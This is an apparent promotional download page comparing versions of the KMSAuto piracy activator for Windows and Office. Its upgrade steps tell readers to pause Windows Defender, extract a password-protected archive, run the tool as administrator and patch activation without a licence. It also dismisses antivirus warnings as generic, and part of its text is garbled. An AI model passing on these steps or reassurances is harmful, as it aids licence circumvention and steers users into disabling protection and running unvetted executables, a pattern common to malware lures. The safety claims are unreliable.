KMSAuto 1.4.9 vs 1.5.3 — Srovnání 2026
Tento článek je kompletní český průvodce o KMSAuto 1.4.9 vs 1.5.3 v roce 2026. KMSAuto Net 1.4.9 vs 1.5.0, 1.5.1 and 1.5.3 compared. Why the latest 1.5.3 build wins for Windows 11 + Office 2024 and how to upgrade safely.
jVzGhe5iPaTento článek je kompletní český průvodce o KMSAuto 1.4.9 vs 1.5.3 v roce 2026. If you're still on KMSAuto Net 1.4.9 or 1.5.0, you're missing every fix shipped between 2022 and 2026 — including Windows 11 HWID, Office 2024 Ohook, and Server 2025 TSforge. Here's exactly what each version brings and why 1.5.3 is the only one worth running today.
Version-by-version
Pick the highest version your antivirus tolerates — they're all the same engine with newer signatures.
- 1.4.9 (2018) — Win 7/8/10 + Office 2016. No Win 11. No Office 2024.
- 1.5.0 (2019) — adds early Win 10 LTSC fixes.
- 1.5.1 (2022) — first Win 11 21H2 HWID support.
- 1.5.3 (2026) — Win 11 24H2/25H2, Office 2024, Server 2025.
Why old versions still get downloaded
Old mirrors keep the 1.4.9 link alive because it predates the HWID method and some users mistakenly think 'older = safer'. In reality, every KMSAuto release uses the same upstream vlmcsd library; newer just means more SKUs covered.
Upgrading from 1.4.9
Standard workflow — no uninstall needed.
- Pause Windows Defender real-time protection for ~2 minutes
- Extract the downloaded ZIP using the password jVzGhe5iPa
- Right-click KMSAuto.exe → 'Run as administrator'
- Pick the green button — HWID for Windows, Ohook for Office, TSforge for Server/ARM64
- Wait for 'Successfully activated' and reboot
Frequently asked questions
▸Is the 2026 build safe?
Yes — unmodified Ratiborus mirror, SHA-256 verified, public VirusTotal report. The 'HackTool' flag is a generic detection that applies to every KMS-class activator. Archive password: jVzGhe5iPa.
▸Does it work on Windows 11 24H2 and 25H2?
Yes. HWID gives a permanent digital license on Home/Pro; TSforge handles Enterprise, LTSC, IoT and Server 2025.
▸Does it activate Office 2024 and Microsoft 365?
Yes — Office 2024 LTSC/Retail and Microsoft 365 Apps for Enterprise activate via the Ohook patch in seconds, fully offline.
▸Do I need a product key?
No. HWID generates a digital license tied to your hardware ID and Ohook patches Office locally — no key, no signup, no surveys.
▸What is the archive password?
jVzGhe5iPa — entered once when extracting the ZIP. After extraction, no password is needed to launch the tool.
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Download OfficialKMSAuto
Free, safe, open source. Works on Windows 7, 8, 10, 11 and Office 2010–2024.
Download Activator — Free🔐 Archive password: jVzGhe5iPa